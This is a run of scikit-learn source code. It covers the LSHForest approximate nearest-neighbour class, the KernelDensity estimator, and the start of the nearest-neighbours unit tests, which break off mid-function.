    n_estimators : int (default = 10)
        Number of trees in the LSH Forest.

    min_hash_match : int (default = 4)
        lowest hash length to be searched when candidate selection is
        performed for nearest neighbors.

    n_candidates : int (default = 10)
        Minimum number of candidates evaluated per estimator, assuming enough
        items meet the `min_hash_match` constraint.

    n_neighbors : int (default = 5)
        Number of neighbors to be returned from query function when
        it is not provided to the :meth:`kneighbors` method.

    radius : float, optinal (default = 1.0)
        Radius from the data point to its neighbors. This is the parameter
        space to use by default for the :meth`radius_neighbors` queries.

    radius_cutoff_ratio : float, optional (default = 0.9)
        A value ranges from 0 to 1. Radius neighbors will be searched until
        the ratio between total neighbors within the radius and the total
        candidates becomes less than this value unless it is terminated by
        hash length reaching `min_hash_match`.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Attributes
    ----------

    hash_functions_ : list of GaussianRandomProjectionHash objects
        Hash function g(p,x) for a tree is an array of 32 randomly generated
        float arrays with the same dimension as the data set. This array is
        stored in GaussianRandomProjectionHash object and can be obtained
        from ``components_`` attribute.

    trees_ : array, shape (n_estimators, n_samples)
        Each tree (corresponding to a hash function) contains an array of
        sorted hashed values. The array representation may change in future
        versions.

    original_indices_ : array, shape (n_estimators, n_samples)
        Original indices of sorted hashed values in the fitted index.

    References
    ----------

    .. [1] M. Bawa, T. Condie and P. Ganesan, "LSH Forest: Self-Tuning
           Indexes for Similarity Search", WWW '05 Proceedings of the
           14th international conference on World Wide Web,  651-660,
           2005.

    Examples
    --------
      >>> from sklearn.neighbors import LSHForest

      >>> X_train = [[5, 5, 2], [21, 5, 5], [1, 1, 1], [8, 9, 1], [6, 10, 2]]
      >>> X_test = [[9, 1, 6], [3, 1, 10], [7, 10, 3]]
      >>> lshf = LSHForest(random_state=42)
      >>> lshf.fit(X_train)  # doctest: +NORMALIZE_WHITESPACE
      LSHForest(min_hash_match=4, n_candidates=50, n_estimators=10,
                n_neighbors=5, radius=1.0, radius_cutoff_ratio=0.9,
                random_state=42)
      >>> distances, indices = lshf.kneighbors(X_test, n_neighbors=2)
      >>> distances                                        # doctest: +ELLIPSIS
      array([[ 0.069...,  0.149...],
             [ 0.229...,  0.481...],
             [ 0.004...,  0.014...]])
      >>> indices
      array([[1, 2],
             [2, 0],
             [4, 0]])

    """

    def __init__(self, n_estimators=10, radius=1.0, n_candidates=50,
                 n_neighbors=5, min_hash_match=4, radius_cutoff_ratio=.9,
                 random_state=None):
        self.n_estimators = n_estimators
        self.radius = radius
        self.random_state = random_state
        self.n_candidates = n_candidates
        self.n_neighbors = n_neighbors
        self.min_hash_match = min_hash_match
        self.radius_cutoff_ratio = radius_cutoff_ratio

    def _compute_distances(self, query, candidates):
        """Computes the cosine distance.

        Distance is from the query to points in the candidates array.
        Returns argsort of distances in the candidates
        array and sorted distances.
        """
        if candidates.shape == (0,):
            # needed since _fit_X[np.array([])] doesn't work if _fit_X sparse
            return np.empty(0, dtype=np.int), np.empty(0, dtype=float)

        if sparse.issparse(self._fit_X):
            candidate_X = self._fit_X[candidates]
        else:
            candidate_X = self._fit_X.take(candidates, axis=0, mode='clip')
        distances = pairwise_distances(query, candidate_X,
                                       metric='cosine')[0]
        distance_positions = np.argsort(distances)
        distances = distances.take(distance_positions, mode='clip', axis=0)
        return distance_positions, distances

    def _generate_masks(self):
        """Creates left and right masks for all hash lengths."""
        tri_size = MAX_HASH_SIZE + 1
        # Called once on fitting, output is independent of hashes
        left_mask = np.tril(np.ones((tri_size, tri_size), dtype=int))[:, 1:]
        right_mask = left_mask[::-1, ::-1]

        self._left_mask = np.packbits(left_mask).view(dtype=HASH_DTYPE)
        self._right_mask = np.packbits(right_mask).view(dtype=HASH_DTYPE)

    def _get_candidates(self, query, max_depth, bin_queries, n_neighbors):
        """Performs the Synchronous ascending phase.

        Returns an array of candidates, their distance ranks and
        distances.
        """
        index_size = self._fit_X.shape[0]
        # Number of candidates considered including duplicates
        # XXX: not sure whether this is being calculated correctly wrt
        #      duplicates from different iterations through a single tree
        n_candidates = 0
        candidate_set = set()
        min_candidates = self.n_candidates * self.n_estimators
        while (max_depth > self.min_hash_match and
               (n_candidates < min_candidates or
                len(candidate_set) < n_neighbors)):

            left_mask = self._left_mask[max_depth]
            right_mask = self._right_mask[max_depth]
            for i in range(self.n_estimators):
                start, stop = _find_matching_indices(self.trees_[i],
                                                     bin_queries[i],
                                                     left_mask, right_mask)
                n_candidates += stop - start
                candidate_set.update(
                    self.original_indices_[i][start:stop].tolist())
            max_depth -= 1

        candidates = np.fromiter(candidate_set, count=len(candidate_set),
                                 dtype=np.intp)
        # For insufficient candidates, candidates are filled.
        # Candidates are filled from unselected indices uniformly.
        if candidates.shape[0] < n_neighbors:
            warnings.warn(
                "Number of candidates is not sufficient to retrieve"
                " %i neighbors with"
                " min_hash_match = %i. Candidates are filled up"
                " uniformly from unselected"
                " indices." % (n_neighbors, self.min_hash_match))
            remaining = np.setdiff1d(np.arange(0, index_size), candidates)
            to_fill = n_neighbors - candidates.shape[0]
            candidates = np.concatenate((candidates, remaining[:to_fill]))

        ranks, distances = self._compute_distances(query,
                                                   candidates.astype(int))

        return (candidates[ranks[:n_neighbors]],
                distances[:n_neighbors])

    def _get_radius_neighbors(self, query, max_depth, bin_queries, radius):
        """Finds radius neighbors from the candidates obtained.

        Their distances from query are smaller than radius.
        Returns radius neighbors and distances.
        """
        ratio_within_radius = 1
        threshold = 1 - self.radius_cutoff_ratio
        total_candidates = np.array([], dtype=int)
        total_neighbors = np.array([], dtype=int)
        total_distances = np.array([], dtype=float)

        while (max_depth > self.min_hash_match and
               ratio_within_radius > threshold):
            left_mask = self._left_mask[max_depth]
            right_mask = self._right_mask[max_depth]
            candidates = []
            for i in range(self.n_estimators):
                start, stop = _find_matching_indices(self.trees_[i],
                                                     bin_queries[i],
                                                     left_mask, right_mask)
                candidates.extend(
                    self.original_indices_[i][start:stop].tolist())
            candidates = np.setdiff1d(candidates, total_candidates)
            total_candidates = np.append(total_candidates, candidates)
            ranks, distances = self._compute_distances(query, candidates)
            m = np.searchsorted(distances, radius, side='right')
            positions = np.searchsorted(total_distances, distances[:m])
            total_neighbors = np.insert(total_neighbors, positions,
                                        candidates[ranks[:m]])
            total_distances = np.insert(total_distances, positions,
                                        distances[:m])
            ratio_within_radius = (total_neighbors.shape[0] /
                                   float(total_candidates.shape[0]))
            max_depth = max_depth - 1
        return total_neighbors, total_distances

    def fit(self, X, y=None):
        """Fit the LSH forest on the data.

        This creates binary hashes of input data points by getting the
        dot product of input points and hash_function then
        transforming the projection into a binary string array based
        on the sign (positive/negative) of the projection.
        A sorted array of binary hashes is created.

        Parameters
        ----------
        X : array_like or sparse (CSR) matrix, shape (n_samples, n_features)
            List of n_features-dimensional data points. Each row
            corresponds to a single data point.

        Returns
        -------
        self : object
            Returns self.
        """

        self._fit_X = check_array(X, accept_sparse='csr')

        # Creates a g(p,x) for each tree
        self.hash_functions_ = []
        self.trees_ = []
        self.original_indices_ = []

        rng = check_random_state(self.random_state)
        int_max = np.iinfo(np.int32).max

        for i in range(self.n_estimators):
            # This is g(p,x) for a particular tree.
            # Builds a single tree. Hashing is done on an array of data points.
            # `GaussianRandomProjection` is used for hashing.
            # `n_components=hash size and n_features=n_dim.
            hasher = GaussianRandomProjectionHash(MAX_HASH_SIZE,
                                                  rng.randint(0, int_max))
            hashes = hasher.fit_transform(self._fit_X)[:, 0]
            original_index = np.argsort(hashes)
            bin_hashes = hashes[original_index]
            self.original_indices_.append(original_index)
            self.trees_.append(bin_hashes)
            self.hash_functions_.append(hasher)

        self._generate_masks()

        return self

    def _query(self, X):
        """Performs descending phase to find maximum depth."""
        # Calculate hashes of shape (n_samples, n_estimators, [hash_size])
        bin_queries = np.asarray([hasher.transform(X)[:, 0]
                                  for hasher in self.hash_functions_])
        bin_queries = np.rollaxis(bin_queries, 1)

        # descend phase
        depths = [_find_longest_prefix_match(tree, tree_queries, MAX_HASH_SIZE,
                                             self._left_mask, self._right_mask)
                  for tree, tree_queries in zip(self.trees_,
                                                np.rollaxis(bin_queries, 1))]

        return bin_queries, np.max(depths, axis=0)

    def kneighbors(self, X, n_neighbors=None, return_distance=True):
        """Returns n_neighbors of approximate nearest neighbors.

        Parameters
        ----------
        X : array_like or sparse (CSR) matrix, shape (n_samples, n_features)
            List of n_features-dimensional data points.  Each row
            corresponds to a single query.

        n_neighbors : int, opitonal (default = None)
            Number of neighbors required. If not provided, this will
            return the number specified at the initialization.

        return_distance : boolean, optional (default = False)
            Returns the distances of neighbors if set to True.

        Returns
        -------
        dist : array, shape (n_samples, n_neighbors)
            Array representing the cosine distances to each point,
            only present if return_distance=True.

        ind : array, shape (n_samples, n_neighbors)
            Indices of the approximate nearest points in the population
            matrix.
        """
        if not hasattr(self, 'hash_functions_'):
            raise ValueError("estimator should be fitted.")

        if n_neighbors is None:
            n_neighbors = self.n_neighbors

        X = check_array(X, accept_sparse='csr')

        neighbors, distances = [], []
        bin_queries, max_depth = self._query(X)
        for i in range(X.shape[0]):

            neighs, dists = self._get_candidates(X[[i]], max_depth[i],
                                                 bin_queries[i],
                                                 n_neighbors)
            neighbors.append(neighs)
            distances.append(dists)

        if return_distance:
            return np.array(distances), np.array(neighbors)
        else:
            return np.array(neighbors)

    def radius_neighbors(self, X, radius=None, return_distance=True):
        """Finds the neighbors within a given radius of a point or points.

        Return the indices and distances of some points from the dataset
        lying in a ball with size ``radius`` around the points of the query
        array. Points lying on the boundary are included in the results.

        The result points are *not* necessarily sorted by distance to their
        query point.

        LSH Forest being an approximate method, some true neighbors from the
        indexed dataset might be missing from the results.

        Parameters
        ----------
        X : array_like or sparse (CSR) matrix, shape (n_samples, n_features)
            List of n_features-dimensional data points. Each row
            corresponds to a single query.

        radius : float
            Limiting distance of neighbors to return.
            (default is the value passed to the constructor).

        return_distance : boolean, optional (default = False)
            Returns the distances of neighbors if set to True.

        Returns
        -------
        dist : array, shape (n_samples,) of arrays
            Each element is an array representing the cosine distances
            to some points found within ``radius`` of the respective query.
            Only present if ``return_distance=True``.

        ind : array, shape (n_samples,) of arrays
            Each element is an array of indices for neighbors within ``radius``
            of the respective query.
        """
        if not hasattr(self, 'hash_functions_'):
            raise ValueError("estimator should be fitted.")

        if radius is None:
            radius = self.radius

        X = check_array(X, accept_sparse='csr')

        neighbors, distances = [], []
        bin_queries, max_depth = self._query(X)
        for i in range(X.shape[0]):

            neighs, dists = self._get_radius_neighbors(X[[i]], max_depth[i],
                                                       bin_queries[i], radius)
            neighbors.append(neighs)
            distances.append(dists)

        if return_distance:
            return _array_of_arrays(distances), _array_of_arrays(neighbors)
        else:
            return _array_of_arrays(neighbors)

    def partial_fit(self, X, y=None):
        """
        Inserts new data into the already fitted LSH Forest.
        Cost is proportional to new total size, so additions
        should be batched.

        Parameters
        ----------
        X : array_like or sparse (CSR) matrix, shape (n_samples, n_features)
            New data point to be inserted into the LSH Forest.
        """
        X = check_array(X, accept_sparse='csr')
        if not hasattr(self, 'hash_functions_'):
            return self.fit(X)

        if X.shape[1] != self._fit_X.shape[1]:
            raise ValueError("Number of features in X and"
                             " fitted array does not match.")
        n_samples = X.shape[0]
        n_indexed = self._fit_X.shape[0]

        for i in range(self.n_estimators):
            bin_X = self.hash_functions_[i].transform(X)[:, 0]
            # gets the position to be added in the tree.
            positions = self.trees_[i].searchsorted(bin_X)
            # adds the hashed value into the tree.
            self.trees_[i] = np.insert(self.trees_[i],
                                       positions, bin_X)
            # add the entry into the original_indices_.
            self.original_indices_[i] = np.insert(self.original_indices_[i],
                                                  positions,
                                                  np.arange(n_indexed,
                                                            n_indexed +
                                                            n_samples))

        # adds the entry into the input_array.
        if sparse.issparse(X) or sparse.issparse(self._fit_X):
            self._fit_X = sparse.vstack((self._fit_X, X))
        else:
            self._fit_X = np.row_stack((self._fit_X, X))

        return self






"""
Kernel Density Estimation
-------------------------
"""
# Author: Jake Vanderplas <jakevdp@cs.washington.edu>

import numpy as np
from scipy.special import gammainc
from ..base import BaseEstimator
from ..utils import check_array, check_random_state
from ..utils.extmath import row_norms
from .ball_tree import BallTree, DTYPE
from .kd_tree import KDTree


VALID_KERNELS = ['gaussian', 'tophat', 'epanechnikov', 'exponential', 'linear',
                 'cosine']
TREE_DICT = {'ball_tree': BallTree, 'kd_tree': KDTree}


# TODO: implement a brute force version for testing purposes
# TODO: bandwidth estimation
# TODO: create a density estimation base class?
class KernelDensity(BaseEstimator):
    """Kernel Density Estimation

    Read more in the :ref:`User Guide <kernel_density>`.

    Parameters
    ----------
    bandwidth : float
        The bandwidth of the kernel.

    algorithm : string
        The tree algorithm to use.  Valid options are
        ['kd_tree'|'ball_tree'|'auto'].  Default is 'auto'.

    kernel : string
        The kernel to use.  Valid kernels are
        ['gaussian'|'tophat'|'epanechnikov'|'exponential'|'linear'|'cosine']
        Default is 'gaussian'.

    metric : string
        The distance metric to use.  Note that not all metrics are
        valid with all algorithms.  Refer to the documentation of
        :class:`BallTree` and :class:`KDTree` for a description of
        available algorithms.  Note that the normalization of the density
        output is correct only for the Euclidean distance metric. Default
        is 'euclidean'.

    atol : float
        The desired absolute tolerance of the result.  A larger tolerance will
        generally lead to faster execution. Default is 0.

    rtol : float
        The desired relative tolerance of the result.  A larger tolerance will
        generally lead to faster execution.  Default is 1E-8.

    breadth_first : boolean
        If true (default), use a breadth-first approach to the problem.
        Otherwise use a depth-first approach.

    leaf_size : int
        Specify the leaf size of the underlying tree.  See :class:`BallTree`
        or :class:`KDTree` for details.  Default is 40.

    metric_params : dict
        Additional parameters to be passed to the tree for use with the
        metric.  For more information, see the documentation of
        :class:`BallTree` or :class:`KDTree`.
    """
    def __init__(self, bandwidth=1.0, algorithm='auto',
                 kernel='gaussian', metric="euclidean", atol=0, rtol=0,
                 breadth_first=True, leaf_size=40, metric_params=None):
        self.algorithm = algorithm
        self.bandwidth = bandwidth
        self.kernel = kernel
        self.metric = metric
        self.atol = atol
        self.rtol = rtol
        self.breadth_first = breadth_first
        self.leaf_size = leaf_size
        self.metric_params = metric_params

        # run the choose algorithm code so that exceptions will happen here
        # we're using clone() in the GenerativeBayes classifier,
        # so we can't do this kind of logic in __init__
        self._choose_algorithm(self.algorithm, self.metric)

        if bandwidth <= 0:
            raise ValueError("bandwidth must be positive")
        if kernel not in VALID_KERNELS:
            raise ValueError("invalid kernel: '{0}'".format(kernel))

    def _choose_algorithm(self, algorithm, metric):
        # given the algorithm string + metric string, choose the optimal
        # algorithm to compute the result.
        if algorithm == 'auto':
            # use KD Tree if possible
            if metric in KDTree.valid_metrics:
                return 'kd_tree'
            elif metric in BallTree.valid_metrics:
                return 'ball_tree'
            else:
                raise ValueError("invalid metric: '{0}'".format(metric))
        elif algorithm in TREE_DICT:
            if metric not in TREE_DICT[algorithm].valid_metrics:
                raise ValueError("invalid metric for {0}: "
                                 "'{1}'".format(TREE_DICT[algorithm],
                                                metric))
            return algorithm
        else:
            raise ValueError("invalid algorithm: '{0}'".format(algorithm))

    def fit(self, X, y=None):
        """Fit the Kernel Density model on the data.

        Parameters
        ----------
        X : array_like, shape (n_samples, n_features)
            List of n_features-dimensional data points.  Each row
            corresponds to a single data point.
        """
        algorithm = self._choose_algorithm(self.algorithm, self.metric)
        X = check_array(X, order='C', dtype=DTYPE)

        kwargs = self.metric_params
        if kwargs is None:
            kwargs = {}
        self.tree_ = TREE_DICT[algorithm](X, metric=self.metric,
                                          leaf_size=self.leaf_size,
                                          **kwargs)
        return self

    def score_samples(self, X):
        """Evaluate the density model on the data.

        Parameters
        ----------
        X : array_like, shape (n_samples, n_features)
            An array of points to query.  Last dimension should match dimension
            of training data (n_features).

        Returns
        -------
        density : ndarray, shape (n_samples,)
            The array of log(density) evaluations.
        """
        # The returned density is normalized to the number of points.
        # For it to be a probability, we must scale it.  For this reason
        # we'll also scale atol.
        X = check_array(X, order='C', dtype=DTYPE)
        N = self.tree_.data.shape[0]
        atol_N = self.atol * N
        log_density = self.tree_.kernel_density(
            X, h=self.bandwidth, kernel=self.kernel, atol=atol_N,
            rtol=self.rtol, breadth_first=self.breadth_first, return_log=True)
        log_density -= np.log(N)
        return log_density

    def score(self, X, y=None):
        """Compute the total log probability under the model.

        Parameters
        ----------
        X : array_like, shape (n_samples, n_features)
            List of n_features-dimensional data points.  Each row
            corresponds to a single data point.

        Returns
        -------
        logprob : float
            Total log-likelihood of the data in X.
        """
        return np.sum(self.score_samples(X))

    def sample(self, n_samples=1, random_state=None):
        """Generate random samples from the model.

        Currently, this is implemented only for gaussian and tophat kernels.

        Parameters
        ----------
        n_samples : int, optional
            Number of samples to generate. Defaults to 1.

        random_state : RandomState or an int seed (0 by default)
            A random number generator instance.

        Returns
        -------
        X : array_like, shape (n_samples, n_features)
            List of samples.
        """
        # TODO: implement sampling for other valid kernel shapes
        if self.kernel not in ['gaussian', 'tophat']:
            raise NotImplementedError()

        data = np.asarray(self.tree_.data)

        rng = check_random_state(random_state)
        i = rng.randint(data.shape[0], size=n_samples)

        if self.kernel == 'gaussian':
            return np.atleast_2d(rng.normal(data[i], self.bandwidth))

        elif self.kernel == 'tophat':
            # we first draw points from a d-dimensional normal distribution,
            # then use an incomplete gamma function to map them to a uniform
            # d-dimensional tophat distribution.
            dim = data.shape[1]
            X = rng.normal(size=(n_samples, dim))
            s_sq = row_norms(X, squared=True)
            correction = (gammainc(0.5 * dim, 0.5 * s_sq) ** (1. / dim)
                          * self.bandwidth / np.sqrt(s_sq))
            return data[i] + X * correction[:, np.newaxis]






from itertools import product
import numpy as np
from scipy.sparse import (bsr_matrix, coo_matrix, csc_matrix, csr_matrix,
                          dok_matrix, lil_matrix)

from sklearn import metrics
from sklearn.model_selection import train_test_split
from sklearn.model_selection import cross_val_score
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_greater
from sklearn.utils.validation import check_random_state
from sklearn.metrics.pairwise import pairwise_distances
from sklearn import neighbors, datasets
from sklearn.exceptions import DataConversionWarning

rng = np.random.RandomState(0)
# load and shuffle iris dataset
iris = datasets.load_iris()
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]

# load and shuffle digits
digits = datasets.load_digits()
perm = rng.permutation(digits.target.size)
digits.data = digits.data[perm]
digits.target = digits.target[perm]

SPARSE_TYPES = (bsr_matrix, coo_matrix, csc_matrix, csr_matrix, dok_matrix,
                lil_matrix)
SPARSE_OR_DENSE = SPARSE_TYPES + (np.asarray,)

ALGORITHMS = ('ball_tree', 'brute', 'kd_tree', 'auto')
P = (1, 2, 3, 4, np.inf)

# Filter deprecation warnings.
neighbors.kneighbors_graph = ignore_warnings(neighbors.kneighbors_graph)
neighbors.radius_neighbors_graph = ignore_warnings(
    neighbors.radius_neighbors_graph)


def _weight_func(dist):
    """ Weight function to replace lambda d: d ** -2.
    The lambda function is not valid because:
    if d==0 then 0^-2 is not valid. """

    # Dist could be multidimensional, flatten it so all values
    # can be looped
    with np.errstate(divide='ignore'):
        retval = 1. / dist
    return retval ** 2


def test_unsupervised_kneighbors(n_samples=20, n_features=5,
                                 n_query_pts=2, n_neighbors=5):
    # Test unsupervised neighbors methods
    X = rng.rand(n_samples, n_features)

    test = rng.rand(n_query_pts, n_features)

    for p in P:
        results_nodist = []
        results = []

        for algorithm in ALGORITHMS:
            neigh = neighbors.NearestNeighbors(n_neighbors=n_neighbors,
                                               algorithm=algorithm,
                                               p=p)
            neigh.fit(X)

            results_nodist.append(neigh.kneighbors(test,
                                                   return_distance=False))
            results.append(neigh.kneighbors(test, return_distance=True))

        for i in range(len(results) - 1):
            assert_array_almost_equal(results_nodist[i], results[i][1])
            assert_array_almost_equal(results[i][0], results[i + 1][0])
            assert_array_almost_equal(results[i][1], results[i + 1][1])


def test_unsupervised_inputs():
    # test the types of valid input into NearestNeighbors
    X = rng.random_sample((10, 3))

    nbrs_fid = neighbors.NearestNeighbors(n_neighbors=1)
    nbrs_fid.fit(X)

    dist1, ind1 = nbrs_fid.kneighbors(X)

    nbrs = neighbors.NearestNeighbors(n_neighbors=1)

    for input in (nbrs_fid, neighbors.BallTree(X), neighbors.KDTree(X)):
        nbrs.fit(input)
        dist2, ind2 = nbrs.kneighbors(X)

        assert_array_almost_equal(dist1, dist2)
        assert_array_almost_equal(ind1, ind2)


def test_precomputed(random_state=42):
    """Tests unsupervised NearestNeighbors with a distance matrix."""
    # Note: smaller samples may result in spurious test success
    rng = np.random.RandomState(random_state)
    X = rng.random_sample((10, 4))
    Y = rng.random_sample((3, 4))
    DXX = metrics.pairwise_distances(X, metric='euclidean')
    DYX = metrics.pairwise_distances(Y, X, metric='euclidean')
    for method in ['kneighbors']:
        # TODO: also test radius_neighbors, but requires different assertion

        # As a feature matrix (n_samples by n_features)
        nbrs_X = neighbors.NearestNeighbors(n_neighbors=3)
        nbrs_X.fit(X)
        dist_X, ind_X = getattr(nbrs_X, method)(Y)

        # As a dense distance matrix (n_samples by n_samples)
        nbrs_D = neighbors.NearestNeighbors(n_neighbors=3, algorithm='brute',
                                            metric='precomputed')
        nbrs_D.fit(DXX)
        dist_D, ind_D = getattr(nbrs_D, method)(DYX)
        assert_array_almost_equal(dist_X, dist_D)
        assert_array_almost_equal(ind_X, ind_D)

        # Check auto works too
        nbrs_D = neighbors.NearestNeighbors(n_neighbors=3, algorithm='auto',
                                            metric='precomputed')
        nbrs_D.fit(DXX)
        dist_D, ind_D = getattr(nbrs_D, method)(DYX)
        assert_array_almost_equal(dist_X, dist_D)
        assert_array_almost_equal(ind_X, ind_D)

        # Check X=None in prediction
        dist_X, ind_X = getattr(nbrs_X, method)(None)
        dist_D, ind_D = getattr(nbrs_D, method)(None)
        assert_array_almost_equal(dist_X, dist_D)
        assert_array_almost_equal(ind_X, ind_D)

        # Must raise a ValueError if the matrix is not of correct shape
        assert_raises(ValueError, getattr(nbrs_D, method), X)

    target = np.arange(X.shape[0])
    for Est in (neighbors.KNeighborsClassifier,
                neighbors.RadiusNeighborsClassifier,
                neighbors.KNeighborsRegressor,
                neighbors.RadiusNeighborsRegressor):
        print(Est)
        est = Est(metric='euclidean')
        est.radius = est.n_neighbors = 1
        pred_X = est.fit(X, target).predict(Y)
        est.metric = 'precomputed'
        pred_D = est.fit(DXX, target).predict(DYX)
        assert_array_almost_equal(pred_X, pred_D)


def test_precomputed_cross_validation():
    # Ensure array is split correctly
    rng = np.random.RandomState(0)
    X = rng.rand(20, 2)
    D = pairwise_distances(X, metric='euclidean')
    y = rng.randint(3, size=20)
    for Est in (neighbors.KNeighborsClassifier,
                neighbors.RadiusNeighborsClassifier,
                neighbors.KNeighborsRegressor,
                neighbors.RadiusNeighborsRegressor):
        metric_score = cross_val_score(Est(), X, y)
        precomp_score = cross_val_score(Est(metric='precomputed'), D, y)
        assert_array_equal(metric_score, precomp_score)


def test_unsupervised_radius_neighbors(n_samples=20, n_features=5,
                                       n_query_pts=2, radius=0.5,
                                       random_state=0):
    # Test unsupervised radius-based query
    rng = np.random.RandomState(random_state)

    X = rng.rand(n_samples, n_features)

    test = rng.rand(n_query_pts, n_features)

    for p in P:
        results = []

        for algorithm in ALGORITHMS:
            neigh = neighbors.NearestNeighbors(radius=radius,
                                               algorithm=algorithm,
                                               p=p)
            neigh.fit(X)

            ind1 = neigh.radius_neighbors(test, return_distance=False)

            # sort the results: this is not done automatically for
            # radius searches
            dist, ind = neigh.radius_neighbors(test, return_distance=True)
            for (d, i, i1) in zip(dist, ind, ind1):
                j = d.argsort()
                d[:] = d[j]
                i[:] = i[j]
                i1[:] = i1[j]
            results.append((dist, ind))

            assert_array_almost_equal(np.concatenate(list(ind)),
                                      np.concatenate(list(ind1)))

        for i in range(len(results) - 1):
            assert_array_almost_equal(np.concatenate(list(results[i][0])),
                                      np.concatenate(list(results[i + 1][0]))),
            assert_array_almost_equal(np.concatenate(list(results[i][1])),
                                      np.concatenate(list(results[i + 1][1])))


def test_kneighbors_classifier(n_samples=40,
                               n_features=5,
                               n_test_pts=10,
                               n_neighbors=5,
                               random_state=0):
    # Test k-neighbors classification
    rng = np.random.RandomState(random_state)
    X = 2 * rng.rand(n_samples, n_features) - 1
    y = ((X ** 2).sum(axis=1) < .5).astype(np.int)
    y_str = y.astype(str)

    weight_func = _weight_func

    for algorithm in ALGORITHMS:
        for weights in ['uniform', 'distance', weight_func]:
            knn = neighbors.KNeighborsClassifier(n_neighbors=n_neighbors,
                                                 weights=weights,
                                                 algorithm=algorithm)
            knn.fit(X, y)
            epsilon = 1e-5 * (2 * rng.rand(1, n_features) - 1)
            y_pred = knn.predict(X[:n_test_pts] + epsilon)
            assert_array_equal(y_pred, y[:n_test_pts])
            # Test prediction with y_str
            knn.fit(X, y_str)
            y_pred = knn.predict(X[:n_test_pts] + epsilon)
            assert_array_equal(y_pred, y_str[:n_test_pts])


def test_kneighbors_classifier_float_labels(n_samples=40, n_features=5,
                                            n_test_pts=10, n_neighbors=5,
                                            random_state=0):
    # Test k-neighbors classification
    rng = np.random.RandomState(random_state)
    X = 2 * rng.rand(n_samples, n_features) - 1
    y = ((X ** 2).sum(axis=1) < .5).astype(np.int)

    knn = neighbors.KNeighborsClassifier(n_neighbors=n_neighbors)
    knn.fit(X, y.astype(np.float))
    epsilon = 1e-5 * (2 * rng.rand(1, n_features) - 1)
    y_pred = knn.predict(X[:n_test_pts] + epsilon)
    assert_array_equal(y_pred, y[:n_test_pts])


def test_kneighbors_classifier_predict_proba():
    # Test KNeighborsClassifier.predict_proba() method
    X = np.array([[0, 2, 0],
                  [0, 2, 1],
                  [2, 0, 0],
                  [2, 2, 0],
                  [0, 0, 2],
                  [0, 0, 1]])
    y = np.array([4, 4, 5, 5, 1, 1])
    cls = neighbors.KNeighborsClassifier(n_neighbors=3, p=1)  # cityblock dist
    cls.fit(X, y)
    y_prob = cls.predict_proba(X)
    real_prob = np.array([[0, 2. / 3, 1. / 3],
                          [1. / 3, 2. / 3, 0],
                          [1. / 3, 0, 2. / 3],
                          [0, 1. / 3, 2. / 3],
                          [2. / 3, 1. / 3, 0],
                          [2. / 3, 1. / 3, 0]])
    assert_array_equal(real_prob, y_prob)
    # Check that it also works with non integer labels
    cls.fit(X, y.astype(str))
    y_prob = cls.predict_proba(X)
    assert_array_equal(real_prob, y_prob)
    # Check that it works with weights='distance'
    cls = neighbors.KNeighborsClassifier(
        n_neighbors=2, p=1, weights='distance')
    cls.fit(X, y)
    y_prob = cls.predict_proba(np.array([[0, 2, 0], [2, 2, 2]]))
    real_prob = np.array([[0, 1, 0], [0, 0.4, 0.6]])
    assert_array_almost_equal(real_prob, y_prob)


def test_radius_neighbors_classifier(n_samples=40,
                                     n_features=5,
                                     n_test_pts=10,
                                     radius=0.5,
                                     random_state=0):
    # Test radius-based classification
    rng = np.random.RandomState(random_state)
    X = 2 * rng.rand(n_samples, n_features) - 1
    y = ((X ** 2).sum(axis=1) < .5).astype(np.int)
    y_str = y.astype(str)

    weight_func = _weight_func

    for algorithm in ALGORITHMS:
        for weights in ['uniform', 'distance', weight_func]:
            neigh = neighbors.RadiusNeighborsClassifier(radius=radius,
                                                        weights=weights,
                                                        algorithm=algorithm)
            neigh.fit(X, y)
            epsilon = 1e-5 * (2 * rng.rand(1, n_features) - 1)
            y_pred = neigh.predict(X[:n_test_pts] + epsilon)
            assert_array_equal(y_pred, y[:n_test_pts])
            neigh.fit(X, y_str)
            y_pred = neigh.predict(X[:n_test_pts] + epsilon)
            assert_array_equal(y_pred, y_str[:n_test_pts])


def test_radius_neighbors_classifier_when_no_neighbors():
    # Test radius-based classifier when no neighbors found.
    # In this case it should rise an informative exception

    X = np.array([[1.0, 1.0], [2.0, 2.0]])
    y = np.array([1, 2])
    radius = 0.1

    z1 = np.array([[1.01, 1.01], [2.01, 2.01]])  # no outliers
    z2 = np.array([[1.01, 1.01], [1.4, 1.4]])    # one outlier

    weight_func = _weight_func

    for outlier_label in [0, -1, None]:
        for algorithm in ALGORITHMS:
            for weights in ['uniform', 'distance', weight_func]:
                rnc = neighbors.RadiusNeighborsClassifier
                clf = rnc(radius=radius, weights=weights, algorithm=algorithm,
                          outlier_label=outlier_label)
                clf.fit(X, y)
                assert_array_equal(np.array([1, 2]),
                                   clf.predict(z1))
                if outlier_label is None:
                    assert_raises(ValueError, clf.predict, z2)
                elif False:
                    assert_array_equal(np.array([1, outlier_label]),
                                       clf.predict(z2))


def test_radius_neighbors_classifier_outlier_labeling():
    # Test radius-based classifier when no neighbors found and outliers
    # are labeled.

    X = np.array([[1.0, 1.0], [2.0, 2.0], [0.99, 0.99],
                  [0.98, 0.98], [2.01, 2.01]])
    y = np.array([1, 2, 1, 1, 2])
    radius = 0.1

    z1 = np.array([[1.01, 1.01], [2.01, 2.01]])  # no outliers
    z2 = np.array([[1.4, 1.4], [1.01, 1.01], [2.01, 2.01]])    # one outlier
    correct_labels1 = np.array([1, 2])
    correct_labels2 = np.array([-1, 1, 2])

    weight_func = _weight_func

    for algorithm in ALGORITHMS:
        for weights in ['uniform', 'distance', weight_func]:
            clf = neighbors.RadiusNeighborsClassifier(radius=radius,
                                                      weights=weights,
                                                      algorithm=algorithm,
                                                      outlier_label=-1)
            clf.fit(X, y)
            assert_array_equal(correct_labels1, clf.predict(z1))
            assert_array_equal(correct_labels2, clf.predict(z2))


def test_radius_neighbors_classifier_zero_distance():
    # Test radius-based classifier, when distance to a sample is zero.

    X = np.array([[1.0, 1.0], [2.0, 2.0]])
    y = np.array([1, 2])
